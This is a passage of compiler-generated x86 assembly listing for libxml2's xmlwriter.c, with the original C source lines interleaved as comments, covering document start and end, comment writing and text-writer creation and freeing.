: } pop ebp ret 0 $LN14@xmlTextWri: ; 778 : } ; 779 : ; 780 : p->name = NULL; ; 781 : p->state = XML_TEXTWRITER_COMMENT; ; 782 : ; 783 : xmlListPushFront(writer->nodes, p); push eax mov DWORD PTR [eax], 0 mov DWORD PTR [eax+4], 16 ; 00000010H push DWORD PTR [esi+4] call _xmlListPushFront add esp, 8 ; 784 : ; 785 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN15@xmlTextWri ; 786 : count = xmlTextWriterWriteIndent(writer); push esi call _xmlTextWriterWriteIndent add esp, 4 ; 787 : if (count < 0) test eax, eax js SHORT $LN19@xmlTextWri ; 788 : return -1; ; 789 : sum += count; add edi, eax $LN15@xmlTextWri: ; 790 : } ; 791 : ; 792 : count = xmlOutputBufferWriteString(writer->out, "<!--"); push OFFSET ??_C@_04FFDNBKGC@?$DM?$CB?9?9@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 793 : if (count < 0) test eax, eax js SHORT $LN19@xmlTextWri ; 794 : return -1; ; 795 : sum += count; add eax, edi pop edi pop ebx pop esi ; 796 : ; 797 : return sum; ; 798 : } pop ebp ret 0 _xmlTextWriterStartComment ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndDocument _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndDocument PROC ; COMDAT ; 640 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN6@xmlTextWri ; 641 : int count; ; 642 : int sum; ; 643 : xmlLinkPtr lk; ; 644 : xmlTextWriterStackEntry *p; ; 645 : ; 646 : if (writer == NULL) { ; 647 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0CM@MFAOOHEJ@xmlTextWriterEndDocument?5?3?5inva@ push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 648 : "xmlTextWriterEndDocument : invalid writer!\n"); ; 649 : return -1; or eax, -1 pop esi ; 712 : ; 713 : return sum; ; 714 : } pop ebp ret 0 $LN6@xmlTextWri: push edi ; 650 : } ; 651 : ; 652 : sum = 0; ; 653 : while ((lk = xmlListFront(writer->nodes)) != NULL) { push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 test eax, eax je SHORT $LN3@xmlTextWri npad 3 $LL2@xmlTextWri: ; 654 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 655 : if (p == 0) test eax, eax je SHORT $LN3@xmlTextWri ; 656 : break; ; 657 : switch (p->state) { mov eax, DWORD PTR [eax+4] dec eax cmp eax, 15 ; 0000000fH ja SHORT $LN18@xmlTextWri movzx eax, BYTE PTR $LN37@xmlTextWri[eax] jmp DWORD PTR $LN42@xmlTextWri[eax*4] $LN8@xmlTextWri: ; 658 : case XML_TEXTWRITER_NAME: ; 659 : case XML_TEXTWRITER_ATTRIBUTE: ; 660 : case XML_TEXTWRITER_TEXT: ; 661 : count = xmlTextWriterEndElement(writer); push esi call _xmlTextWriterEndElement ; 662 : if (count < 0) ; 663 : return -1; ; 664 : sum += count; ; 665 : break; jmp SHORT $LN40@xmlTextWri $LN10@xmlTextWri: ; 666 : case XML_TEXTWRITER_PI: ; 667 : case XML_TEXTWRITER_PI_TEXT: ; 668 : count = xmlTextWriterEndPI(writer); push esi call _xmlTextWriterEndPI ; 669 : if (count < 0) ; 670 : return -1; ; 671 : sum += count; ; 672 : break; jmp SHORT $LN40@xmlTextWri $LN12@xmlTextWri: ; 673 : case XML_TEXTWRITER_CDATA: ; 674 : count = xmlTextWriterEndCDATA(writer); push esi call _xmlTextWriterEndCDATA ; 675 : if (count < 0) ; 676 : return -1; ; 677 : sum += count; ; 678 : break; jmp SHORT $LN40@xmlTextWri $LN14@xmlTextWri: ; 679 : case XML_TEXTWRITER_DTD: ; 680 : case XML_TEXTWRITER_DTD_TEXT: ; 681 : case XML_TEXTWRITER_DTD_ELEM: ; 682 : case XML_TEXTWRITER_DTD_ELEM_TEXT: ; 683 : case XML_TEXTWRITER_DTD_ATTL: ; 684 : case XML_TEXTWRITER_DTD_ATTL_TEXT: ; 685 : case XML_TEXTWRITER_DTD_ENTY: ; 686 : case XML_TEXTWRITER_DTD_ENTY_TEXT: ; 687 : case XML_TEXTWRITER_DTD_PENT: ; 688 : count = xmlTextWriterEndDTD(writer); push esi call _xmlTextWriterEndDTD ; 689 : if (count < 0) ; 690 : return -1; ; 691 : sum += count; ; 692 : break; jmp SHORT $LN40@xmlTextWri $LN16@xmlTextWri: ; 693 : case XML_TEXTWRITER_COMMENT: ; 694 : count = xmlTextWriterEndComment(writer); push esi call _xmlTextWriterEndComment $LN40@xmlTextWri: ; 650 : } ; 651 : ; 652 : sum = 0; ; 653 : while ((lk = xmlListFront(writer->nodes)) != NULL) { add esp, 4 test eax, eax js SHORT $LN36@xmlTextWri add edi, eax $LN18@xmlTextWri: push DWORD PTR [esi+4] call _xmlListFront add esp, 4 test eax, eax jne SHORT $LL2@xmlTextWri $LN3@xmlTextWri: ; 695 : if (count < 0) ; 696 : return -1; ; 697 : sum += count; ; 698 : break; ; 699 : default: ; 700 : break; ; 701 : } ; 702 : } ; 703 : ; 704 : if (!writer->indent) { cmp DWORD PTR [esi+16], 0 jne SHORT $LN19@xmlTextWri ; 705 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 706 : if (count < 0) test eax, eax jns SHORT $LN20@xmlTextWri $LN36@xmlTextWri: pop edi ; 707 : return -1; or eax, -1 pop esi ; 712 : ; 713 : return sum; ; 714 : } pop ebp ret 0 $LN20@xmlTextWri: ; 708 : sum += count; add edi, eax $LN19@xmlTextWri: ; 4238 : if (writer->out == NULL) mov eax, DWORD PTR [esi] test eax, eax jne SHORT $LN24@xmlTextWri ; 709 : } ; 710 : ; 711 : sum += xmlTextWriterFlush(writer); mov eax, edi pop edi pop esi ; 712 : ; 713 : return sum; ; 714 : } pop ebp ret 0 $LN24@xmlTextWri: ; 4241 : count = xmlOutputBufferFlush(writer->out); push eax call _xmlOutputBufferFlush add esp, 4 ; 709 : } ; 710 : ; 711 : sum += xmlTextWriterFlush(writer); add eax, edi pop edi pop esi ; 712 : ; 713 : return sum; ; 714 : } pop ebp ret 0 npad 1 $LN42@xmlTextWri: DD $LN8@xmlTextWri DD $LN10@xmlTextWri DD $LN12@xmlTextWri DD $LN14@xmlTextWri DD $LN16@xmlTextWri $LN37@xmlTextWri: DB 0 DB 0 DB 0 DB 1 DB 1 DB 2 DB 3 DB 3 DB 3 DB 3 DB 3 DB 3 DB 3 DB 3 DB 3 DB 4 _xmlTextWriterEndDocument ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartDocument _TEXT SEGMENT tv481 = 8 ; size = 4 _writer$ = 8 ; size = 4 _version$ = 12 ; size = 4 _encoding$ = 16 ; size = 4 _standalone$ = 20 ; size = 4 _xmlTextWriterStartDocument PROC ; COMDAT ; 521 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je $LN30@xmlTextWri ; 522 : int count; ; 523 : int sum; ; 524 : xmlLinkPtr lk; ; 525 : xmlCharEncodingHandlerPtr encoder; ; 526 : ; 527 : if ((writer == NULL) || (writer->out == NULL)) { cmp DWORD PTR [esi], 0 je $LN3@xmlTextWri ; 528 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, ; 529 : "xmlTextWriterStartDocument : invalid writer!\n"); ; 530 : return -1; ; 531 : } ; 532 : ; 533 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 534 : if ((lk != NULL) && (xmlLinkGetData(lk) != NULL)) { test eax, eax je SHORT $LN4@xmlTextWri push eax call _xmlLinkGetData add esp, 4 test eax, eax je SHORT $LN4@xmlTextWri ; 535 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0DL@JOCNHFIJ@xmlTextWriterStartDocument?5?3?5no@ push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 625 : ; 626 : return sum; ; 627 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN4@xmlTextWri: ; 536 : "xmlTextWriterStartDocument : not allowed in this context!\n"); ; 537 : return -1; ; 538 : } ; 539 : ; 540 : encoder = NULL; ; 541 : if (encoding != NULL) { mov eax, DWORD PTR _encoding$[ebp] xor ecx, ecx test eax, eax je SHORT $LN6@xmlTextWri ; 542 : encoder = xmlFindCharEncodingHandler(encoding); push eax call _xmlFindCharEncodingHandler mov ecx, eax add esp, 4 ; 543 : if (encoder == NULL) { test ecx, ecx jne SHORT $LN6@xmlTextWri ; 544 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CN@ODOCGFDE@xmlTextWriterStartDocument?5?3?5ou@ push 2 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH ; 625 : ; 626 : return sum; ; 627 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN6@xmlTextWri: ; 545 : "xmlTextWriterStartDocument : out of memory!\n"); ; 546 : return -1; ; 547 : } ; 548 : } ; 549 : ; 550 : writer->out->encoder = encoder; mov eax, DWORD PTR [esi] mov DWORD PTR [eax+12], ecx mov eax, DWORD PTR [esi] ; 551 : if (encoder != NULL) { test ecx, ecx je SHORT $LN7@xmlTextWri ; 552 : if (writer->out->conv == NULL) { cmp DWORD PTR [eax+20], 0 jne SHORT $LN9@xmlTextWri ; 553 : writer->out->conv = xmlBufCreateSize(4000); push 4000 ; 00000fa0H call _xmlBufCreateSize mov ecx, DWORD PTR [esi] add esp, 4 mov DWORD PTR [ecx+20], eax mov eax, DWORD PTR [esi] $LN9@xmlTextWri: ; 554 : } ; 555 : xmlCharEncOutput(writer->out, 1); push 1 push eax call _xmlCharEncOutput ; 556 : if ((writer->doc != NULL) && (writer->doc->encoding == NULL)) mov eax, DWORD PTR [esi+40] add esp, 8 test eax, eax je SHORT $LN8@xmlTextWri cmp DWORD PTR [eax+60], 0 jne SHORT $LN8@xmlTextWri ; 557 : writer->doc->encoding = xmlStrdup((xmlChar *)writer->out->encoder->name); mov eax, DWORD PTR [esi] mov eax, DWORD PTR [eax+12] push DWORD PTR [eax] call _xmlStrdup mov ecx, DWORD PTR [esi+40] add esp, 4 mov DWORD PTR [ecx+60], eax ; 558 : } else jmp SHORT $LN8@xmlTextWri $LN7@xmlTextWri: ; 559 : writer->out->conv = NULL; mov DWORD PTR [eax+20], 0 $LN8@xmlTextWri: ; 560 : ; 561 : sum = 0; ; 562 : count = xmlOutputBufferWriteString(writer->out, "<?xml version="); push OFFSET ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 563 : if (count < 0) test edi, edi js $LN31@xmlTextWri ; 564 : return -1; ; 565 : sum += count; ; 566 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); lea ebx, DWORD PTR [esi+28] push ebx push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 567 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 568 : return -1; ; 569 : sum += count; ; 570 : if (version != 0) ; 571 : count = xmlOutputBufferWriteString(writer->out, version); ; 572 : else ; 573 : count = xmlOutputBufferWriteString(writer->out, "1.0"); ; 574 : if (count < 0) mov ecx, DWORD PTR _version$[ebp] add edi, eax test ecx, ecx mov eax, OFFSET ??_C@_03HLLJOCDO@1?40@ cmovne eax, ecx push eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 mov DWORD PTR tv481[ebp], eax test eax, eax js $LN31@xmlTextWri ; 575 : return -1; ; 576 : sum += count; ; 577 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [esi] call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 578 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 579 : return -1; ; 580 : sum += count; add eax, DWORD PTR tv481[ebp] add edi, eax ; 581 : if (writer->out->encoder != 0) { mov eax, DWORD PTR [esi] cmp DWORD PTR [eax+12], 0 je SHORT $LN17@xmlTextWri ; 582 : count = xmlOutputBufferWriteString(writer->out, " encoding="); push OFFSET ??_C@_0L@GJNPICMJ@?5encoding?$DN@ push eax call _xmlOutputBufferWriteString add esp, 8 ; 583 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 584 : return -1; ; 585 : sum += count; ; 586 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 587 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 588 : return -1; ; 589 : sum += count; ; 590 : count = mov ecx, DWORD PTR [esi] add edi, eax mov eax, DWORD PTR [ecx+12] push DWORD PTR [eax] push ecx call _xmlOutputBufferWriteString add esp, 8 ; 591 : xmlOutputBufferWriteString(writer->out, ; 592 : writer->out->encoder->name); ; 593 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 594 : return -1; ; 595 : sum += count; ; 596 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 597 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 598 : return -1; ; 599 : sum += count; add edi, eax $LN17@xmlTextWri: ; 600 : } ; 601 : ; 602 : if (standalone != 0) { cmp DWORD PTR _standalone$[ebp], 0 je SHORT $LN22@xmlTextWri ; 603 : count = xmlOutputBufferWriteString(writer->out, " standalone="); push OFFSET ??_C@_0N@BGGHLCGN@?5standalone?$DN@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 604 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 605 : return -1; ; 606 : sum += count; ; 607 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 608 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 609 : return -1; ; 610 : sum += count; ; 611 : count = xmlOutputBufferWriteString(writer->out, standalone); push DWORD PTR _standalone$[ebp] add edi, eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 612 : if (count < 0) test eax, eax js $LN31@xmlTextWri ; 613 : return -1; ; 614 : sum += count; ; 615 : count = xmlOutputBufferWrite(writer->out, 1, &writer->qchar); push ebx push 1 push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWrite add esp, 12 ; 0000000cH ; 616 : if (count < 0) test eax, eax js SHORT $LN31@xmlTextWri ; 617 : return -1; ; 618 : sum += count; add edi, eax $LN22@xmlTextWri: ; 619 : } ; 620 : ; 621 : count = xmlOutputBufferWriteString(writer->out, "?>\n"); push OFFSET ??_C@_03KCOJOIAE@?$DP?$DO?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 622 : if (count < 0) test eax, eax js SHORT $LN31@xmlTextWri ; 623 : return -1; ; 624 : sum += count; add eax, edi pop edi ; 625 : ; 626 : return sum; ; 627 : } pop esi pop ebx pop ebp ret 0 $LN3@xmlTextWri: ; 138 : __xmlRaiseError(NULL, NULL, NULL, ctxt->ctxt, push OFFSET ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 3 push 1 push 25 ; 00000019H push 0 push DWORD PTR [esi+32] ; 139 : NULL, XML_FROM_WRITER, error, XML_ERR_FATAL, ; 140 : NULL, 0, NULL, NULL, NULL, 0, 0, "%s", msg); ; 141 : } else { jmp SHORT $LN33@xmlTextWri $LN30@xmlTextWri: ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CO@KMFPACDM@xmlTextWriterStartDocument?5?3?5in@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 3 push 1 push 25 ; 00000019H push 0 push 0 $LN33@xmlTextWri: ; 625 : ; 626 : return sum; ; 627 : } push 0 push 0 push 0 call ___xmlRaiseError add esp, 68 ; 00000044H $LN31@xmlTextWri: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 _xmlTextWriterStartDocument ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlFreeTextWriter _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlFreeTextWriter PROC ; COMDAT ; 478 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je $LN1@xmlFreeTex ; 479 : if (writer == NULL) ; 480 : return; ; 481 : ; 482 : if (writer->out != NULL) mov eax, DWORD PTR [esi] test eax, eax je SHORT $LN3@xmlFreeTex ; 483 : xmlOutputBufferClose(writer->out); push eax call _xmlOutputBufferClose add esp, 4 $LN3@xmlFreeTex: ; 484 : ; 485 : if (writer->nodes != NULL) mov eax, DWORD PTR [esi+4] test eax, eax je SHORT $LN4@xmlFreeTex ; 486 : xmlListDelete(writer->nodes); push eax call _xmlListDelete add esp, 4 $LN4@xmlFreeTex: ; 487 : ; 488 : if (writer->nsstack != NULL) mov eax, DWORD PTR [esi+8] test eax, eax je SHORT $LN5@xmlFreeTex ; 489 : xmlListDelete(writer->nsstack); push eax call _xmlListDelete add esp, 4 $LN5@xmlFreeTex: ; 490 : ; 491 : if (writer->ctxt != NULL) { mov eax, DWORD PTR [esi+32] test eax, eax je SHORT $LN6@xmlFreeTex ; 492 : if ((writer->ctxt->myDoc != NULL) && (writer->no_doc_free == 0)) { mov ecx, DWORD PTR [eax+8] test ecx, ecx je SHORT $LN7@xmlFreeTex cmp DWORD PTR [esi+36], 0 jne SHORT $LN7@xmlFreeTex ; 493 : xmlFreeDoc(writer->ctxt->myDoc); push ecx call _xmlFreeDoc ; 494 : writer->ctxt->myDoc = NULL; mov eax, DWORD PTR [esi+32] add esp, 4 mov DWORD PTR [eax+8], 0 mov eax, DWORD PTR [esi+32] $LN7@xmlFreeTex: ; 495 : } ; 496 : xmlFreeParserCtxt(writer->ctxt); push eax call _xmlFreeParserCtxt add esp, 4 $LN6@xmlFreeTex: ; 497 : } ; 498 : ; 499 : if (writer->doc != NULL) mov eax, DWORD PTR [esi+40] test eax, eax je SHORT $LN8@xmlFreeTex ; 500 : xmlFreeDoc(writer->doc); push eax call _xmlFreeDoc add esp, 4 $LN8@xmlFreeTex: ; 501 : ; 502 : if (writer->ichar != NULL) mov eax, DWORD PTR [esi+24] test eax, eax je SHORT $LN9@xmlFreeTex ; 503 : xmlFree(writer->ichar); push eax call DWORD PTR _xmlFree add esp, 4 $LN9@xmlFreeTex: ; 504 : xmlFree(writer); push esi call DWORD PTR _xmlFree add esp, 4 $LN1@xmlFreeTex: pop esi ; 505 : } pop ebp ret 0 _xmlFreeTextWriter ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlNewTextWriterTree _TEXT SEGMENT _saxHandler$ = -128 ; size = 128 _doc$ = 8 ; size = 4 _node$ = 12 ; size = 4 _compression$ = 16 ; size = 4 _xmlNewTextWriterTree PROC ; COMDAT ; 424 : { push ebp mov ebp, esp sub esp, 128 ; 00000080H mov ecx, OFFSET __DA396148_xmlwriter@c push edi call @__CheckForDebuggerJustMyCode@4 mov edi, DWORD PTR _doc$[ebp] test edi, edi jne SHORT $LN2@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CP@PFMBJEMH@xmlNewTextWriterTree?5?3?5invalid?5@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push edi push edi push edi push edi push edi push edi push edi push 3 push 1 push 25 ; 00000019H push edi push edi push edi push edi push edi call ___xmlRaiseError add esp, 68 ; 00000044H ; 425 : xmlTextWriterPtr ret; ; 426 : xmlSAXHandler saxHandler; ; 427 : xmlParserCtxtPtr ctxt; ; 428 : ; 429 : if (doc == NULL) { ; 430 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 431 : "xmlNewTextWriterTree : invalid document tree!\n"); ; 432 : return NULL; xor eax, eax pop edi ; 468 : } mov esp, ebp pop ebp ret 0 $LN2@xmlNewText: push esi ; 433 : } ; 434 : ; 435 : memset(&saxHandler, '\0', sizeof(saxHandler)); push 128 ; 00000080H lea eax, DWORD PTR _saxHandler$[ebp] push 0 push eax call _memset ; 436 : xmlSAX2InitDefaultSAXHandler(&saxHandler, 1); lea eax, DWORD PTR _saxHandler$[ebp] push 1 push eax call _xmlSAX2InitDefaultSAXHandler ; 437 : saxHandler.startDocument = xmlTextWriterStartDocumentCallback; ; 438 : saxHandler.startElement = xmlSAX2StartElement; ; 439 : saxHandler.endElement = xmlSAX2EndElement; ; 440 : ; 441 : ctxt = xmlCreatePushParserCtxt(&saxHandler, NULL, NULL, 0, NULL); push 0 push 0 push 0 lea eax, DWORD PTR _saxHandler$[ebp] mov DWORD PTR _saxHandler$[ebp+48], OFFSET _xmlTextWriterStartDocumentCallback push 0 push eax mov DWORD PTR _saxHandler$[ebp+56], OFFSET _xmlSAX2StartElement mov DWORD PTR _saxHandler$[ebp+60], OFFSET _xmlSAX2EndElement call _xmlCreatePushParserCtxt mov esi, eax add esp, 40 ; 00000028H ; 442 : if (ctxt == NULL) { test esi, esi jne SHORT $LN3@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 1 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError add esp, 68 ; 00000044H ; 443 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 444 : "xmlNewTextWriterDoc : error at xmlCreatePushParserCtxt!\n"); ; 445 : return NULL; xor eax, eax pop esi pop edi ; 468 : } mov esp, ebp pop ebp ret 0 $LN3@xmlNewText: push ebx ; 446 : } ; 447 : /* ; 448 : * For some reason this seems to completely break if node names ; 449 : * are interned. ; 450 : */ ; 451 : ctxt->dictNames = 0; ; 452 : ; 453 : ret = xmlNewTextWriterPushParser(ctxt, compression); push DWORD PTR _compression$[ebp] mov DWORD PTR [esi+364], 0 push esi call _xmlNewTextWriterPushParser mov ebx, eax add esp, 8 ; 454 : if (ret == NULL) { test ebx, ebx jne SHORT $LN4@xmlNewText ; 455 : xmlFreeParserCtxt(ctxt); push esi call _xmlFreeParserCtxt ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push ebx push ebx push ebx push ebx push ebx push ebx push ebx push 3 push 1 push 25 ; 00000019H push ebx push ebx push ebx push ebx push ebx call ___xmlRaiseError add esp, 72 ; 00000048H ; 456 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 457 : "xmlNewTextWriterDoc : error at xmlNewTextWriterPushParser!\n"); ; 458 : return NULL; xor eax, eax pop ebx pop esi pop edi ; 468 : } mov esp, ebp pop ebp ret 0 $LN4@xmlNewText: ; 459 : } ; 460 : ; 461 : ctxt->myDoc = doc; ; 462 : ctxt->node = node; ; 463 : ret->no_doc_free = 1; ; 464 : ; 465 : xmlSetDocCompressMode(doc, compression); push DWORD PTR _compression$[ebp] mov eax, DWORD PTR _node$[ebp] mov DWORD PTR [esi+8], edi mov DWORD PTR [esi+52], eax push edi mov DWORD PTR [ebx+36], 1 call _xmlSetDocCompressMode add esp, 8 ; 466 : ; 467 : return ret; mov eax, ebx pop ebx pop esi pop edi ; 468 : } mov esp, ebp pop ebp ret 0 _xmlNewTextWriterTree ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlNewTextWriterDoc _TEXT SEGMENT _saxHandler$ = -128 ; size = 128 _doc$ = 8 ; size = 4 _compression$ = 12 ; size = 4 _xmlNewTextWriterDoc PROC ; COMDAT ; 361 : { push ebp mov ebp, esp sub esp, 128 ; 00000080H push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push 128 ; 00000080H lea eax, DWORD PTR _saxHandler$[ebp] push 0 push eax call _memset lea eax, DWORD PTR _saxHandler$[ebp] push 1 push eax call _xmlSAX2InitDefaultSAXHandler push 0 push 0 push 0 lea eax, DWORD PTR _saxHandler$[ebp] mov DWORD PTR _saxHandler$[ebp+48], OFFSET _xmlTextWriterStartDocumentCallback push 0 push eax mov DWORD PTR _saxHandler$[ebp+56], OFFSET _xmlSAX2StartElement mov DWORD PTR _saxHandler$[ebp+60], OFFSET _xmlSAX2EndElement call _xmlCreatePushParserCtxt mov esi, eax add esp, 40 ; 00000028H test esi, esi jne SHORT $LN2@xmlNewText ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0DJ@MHFIEMJE@xmlNewTextWriterDoc?5?3?5error?5at?5@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push eax push eax push eax push eax push eax push eax push eax push 3 push 1 push 25 ; 00000019H push eax push eax push eax push eax push eax call ___xmlRaiseError add esp, 68 ; 00000044H ; 362 : xmlTextWriterPtr ret; ; 363 : xmlSAXHandler saxHandler; ; 364 : xmlParserCtxtPtr ctxt; ; 365 : ; 366 : memset(&saxHandler, '\0', sizeof(saxHandler)); ; 367 : xmlSAX2InitDefaultSAXHandler(&saxHandler, 1); ; 368 : saxHandler.startDocument = xmlTextWriterStartDocumentCallback; ; 369 : saxHandler.startElement = xmlSAX2StartElement; ; 370 : saxHandler.endElement = xmlSAX2EndElement; ; 371 : ; 372 : ctxt = xmlCreatePushParserCtxt(&saxHandler, NULL, NULL, 0, NULL); ; 373 : if (ctxt == NULL) { ; 374 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 375 : "xmlNewTextWriterDoc : error at xmlCreatePushParserCtxt!\n"); ; 376 : return NULL; xor eax, eax pop esi ; 409 : } mov esp, ebp pop ebp ret 0 $LN2@xmlNewText: ; 377 : } ; 378 : /* ; 379 : * For some reason this seems to completely break if node names ; 380 : * are interned. ; 381 : */ ; 382 : ctxt->dictNames = 0; ; 383 : ; 384 : ctxt->myDoc = xmlNewDoc(BAD_CAST XML_DEFAULT_VERSION); push OFFSET ??_C@_03HLLJOCDO@1?40@ mov DWORD PTR [esi+364], 0 call _xmlNewDoc add esp, 4 mov DWORD PTR [esi+8], eax ; 385 : if (ctxt->myDoc == NULL) { test eax, eax jne SHORT $LN3@xmlNewText ; 386 : xmlFreeParserCtxt(ctxt); push esi call _xmlFreeParserCtxt ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0CL@MKPGDELP@xmlNewTextWriterDoc?5?3?5error?5at?5@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 3 push 1 push 25 ; 00000019H push 0 push 0 push 0 push 0 push 0 call ___xmlRaiseError add esp, 72 ; 00000048H ; 387 : xmlWriterErrMsg(NULL, XML_ERR_INTERNAL_ERROR, ; 388 : "xmlNewTextWriterDoc : error at xmlNewDoc!\n"); ; 389 : return NULL; xor eax, eax pop esi ; 409 : } mov esp, ebp pop ebp ret 0 $LN3@xmlNewText: push edi ; 390 : } ; 391 : ; 392 : ret = xmlNewTextWriterPushParser(ctxt, compression); push DWORD PTR _compression$[ebp] push esi call _xmlNewTextWriterPushParser mov edi, eax add esp, 8 mov eax, DWORD PTR [esi+8] ; 393 : if (ret == NULL) { test edi, edi jne SHORT $LN4@xmlNewText ; 394 : xmlFreeDoc(ctxt->myDoc); push eax call _xmlFreeDoc ; 395 : xmlFreeParserCtxt(ctxt); push esi call _xmlFreeParserCtxt ; 142 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_WRITER, error, push OFFSET ??_C@_0DM@HKPAOPJL@xmlNewTextWriterDoc?5?3?5error?5at?5@ push OFFSET ??_C@_02DKCKIIND@?$CFs@ push edi push edi push edi push edi push edi push edi push edi push 3 push 1 push 25 ; 00000019H push edi push edi push edi push edi push edi call ___xmlRaiseError add 